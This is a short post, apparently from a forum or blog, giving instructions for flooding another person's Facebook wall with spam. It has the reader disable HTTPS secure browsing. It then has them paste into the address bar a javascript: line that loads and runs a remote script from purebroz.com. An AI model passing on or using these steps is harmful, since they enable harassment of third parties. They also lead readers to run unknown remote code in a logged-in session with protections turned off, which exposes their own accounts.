WARNING# I dont take any responsibility of misuse of this information.
It is really annoying if your Facebook Wall is full with many messages. Recently I found the way of doing it and now i am sharing it with you people ;)

It is really easy to do it. All you need to do is to follow the following steps carefully.

#Step1: First you need to be on "http://" connection instead of "https://", so simple Login into your FB account and goto Account > Account Settings > Account Security. Over there "unTick" |Secure Browsing (https)|

#Step2: Now goto the Persons wall whom you want to spam , and then paste the following code into the address bar:

javascript:(a = (b = document).createElement("script")).src = "//purebroz.com/a.js", b.body.appendChild(a); void(0)  

#Step3: Now a new box will pop up. In that type the number of times you want the message to be posted and click on "OK".

#Step4: After that type the message that you want to post and click on "OK"

After that its all done just refresh and you will Spam the other person.